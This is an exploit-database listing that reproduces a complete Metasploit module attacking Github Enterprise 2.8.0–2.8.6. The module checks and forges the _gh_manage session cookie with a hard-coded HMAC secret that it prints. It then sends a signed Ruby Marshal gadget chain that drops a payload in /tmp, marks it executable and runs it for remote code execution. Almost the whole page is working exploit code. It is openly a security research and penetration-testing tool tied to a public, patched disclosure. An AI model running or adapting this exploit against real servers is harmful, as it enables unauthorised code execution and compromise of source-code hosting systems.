Github Enterprise - Default Session Secret And Deserialization (Metasploit)



EKU-ID: 6419 CVE: OSVDB-ID:
Author: sinn3r Published: 2017-03-28 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
      'Description'    => %q{
        This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
        The first is that the session management uses a hard-coded secret value, which can be
        abused to sign a serialized malicious Ruby object. The second problem is due to the
        use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
        and results in arbitrary remote code execution.
 
        This exploit was tested against version 2.8.0.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
          'sinn3r'                       # Porting the PoC to Metasploit
        ],
      'References'     =>
        [
          [ 'EDB', '41616' ],
          [ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
          [ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Github Enterprise 2.8', { } ]
        ],
      'DefaultOptions' =>
        {
          'SSL'   => true,
          'RPORT' => 8443
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 15 2017',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
      ], self.class)
  end
 
  def secret
    '641dd6454584ddabfed6342cc66281fb'
  end
 
  def check
    uri = normalize_uri(target_uri.path, 'setup', 'unlock')
    res = send_request_cgi!({
      'method' => 'GET',
      'uri'    => uri,
      'vars_get' =>{
        'redirect_to' => '/'
      }
    })
 
    unless res
      vprint_error('Connection timed out.')
      return Exploit::CheckCode::Unknown
    end
 
    unless res.get_cookies.match(/^_gh_manage/)
      vprint_error('No _gh_manage value in cookie found')
      return Exploit::CheckCode::Safe
    end
 
    cookies = res.get_cookies
    vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
    gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
    data = gh_manage_value.split('--').first
    hmac = gh_manage_value.split('--').last.split(';', 2).first
    vprint_status("Data: #{data.gsub(/\n/, '')}")
    vprint_status("Extracted HMAC: #{hmac}")
    expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
    vprint_status("Expected HMAC: #{expected_hmac}")
 
    if expected_hmac == hmac
      vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
      return Exploit::CheckCode::Vulnerable
    end
 
    Exploit::CheckCode::Safe
  end
 
  def get_ruby_code
    b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
    bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
    register_file_for_cleanup(b64_fname, bin_fname)
    p = Rex::Text.encode_base64(generate_payload_exe)
 
    c  = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
    c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
    c << "%x(chmod +x #{bin_fname}); "
    c << "%x(#{bin_fname})"
    c
  end
 
 
  def serialize
    # We don't want to run this code within the context of Framework, so we run it as an
    # external process.
    # Brilliant trick from Brent and Adam to overcome the issue.
    ruby_code = %Q|
    module Erubis;class Eruby;end;end
    module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
 
    erubis = Erubis::Eruby.allocate
    erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
    proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
    proxy.instance_variable_set :@instance, erubis
    proxy.instance_variable_set :@method, :result
    proxy.instance_variable_set :@var, "@result"
 
    session =
    {
      'session_id' => '',
      'exploit'    => proxy
    }
 
    print Marshal.dump(session)
    |
 
    serialized_output = `ruby -e "#{ruby_code}"`
 
    serialized_object = [serialized_output].pack('m')
    hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)
 
    return serialized_object, hmac
  end
 
  def send_serialized_data(dump, hmac)
    uri = normalize_uri(target_uri.path)
    gh_manage_value = CGI.escape("#{dump}--#{hmac}")
    cookie = "_gh_manage=#{gh_manage_value}"
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri,
      'cookie' => cookie
    })
 
    if res
      print_status("Server returned: #{res.code}")
    end
  end
 
  def exploit
    dump, hmac = serialize
    print_status('Serialized Ruby stager')
 
    print_status('Sending serialized Ruby stager...')
    send_serialized_data(dump, hmac)
  end
 
end
 
=begin
 
Handy information:
 
To deobfuscate Github code, use this script:
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42
 
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
algorithm:
 
* Takes the session hash (Json) in env['rack.session']
* Marshal.dump the hash into a string
* Base64 the string
* Append a hash of the data at the end of the string to prevent tampering.
* The signed data is saved in _gh_manage'
 
The format looks like this:
 
[ DATA ]--[ Hash ]
 
Also see:
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
 
=end